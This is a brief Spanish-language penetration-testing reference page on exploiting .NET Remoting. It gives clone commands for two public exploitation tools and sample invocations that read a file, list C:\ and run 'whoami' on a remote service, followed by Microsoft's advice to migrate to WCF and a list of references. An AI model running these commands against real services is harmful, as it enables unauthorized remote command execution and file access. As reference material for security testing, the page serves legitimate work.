.NET Remoting

Explotación

NewRemotingTricks

https://github.com/codewhitesec/NewRemotingTricks

git clone https://github.com/codewhitesec/NewRemotingTricks.git

Se compila, por ejemplo, con Visual Studio 2022.

.\RemotingClient_MBRO.exe tcp://192.168.1.100:8090/LoggingSink C:\Windows.ini
.\RemotingClient_MBVO.exe tcp://192.168.1.100:8090/LoggingSink C:\Windows.ini

https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/

ExploitRemotingService

https://github.com/tyranid/ExploitRemotingService

git clone https://github.com/tyranid/ExploitRemotingService.git

Se compila, por ejemplo, con Visual Studio 2022.

.\ExploitRemotingService.exe tcp://$IP:$PORT ver
.\ExploitRemotingService.exe tcp://$IP:$PORT ls C:\
.\ExploitRemotingService.exe tcp://$IP:$PORT cmd whoami

Recomendaciones

Microsoft recomienda migrar a WCF o ASP.NET Web API.

https://learn.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf

Referencias

• https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

• https://learn.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf

• https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html

• https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/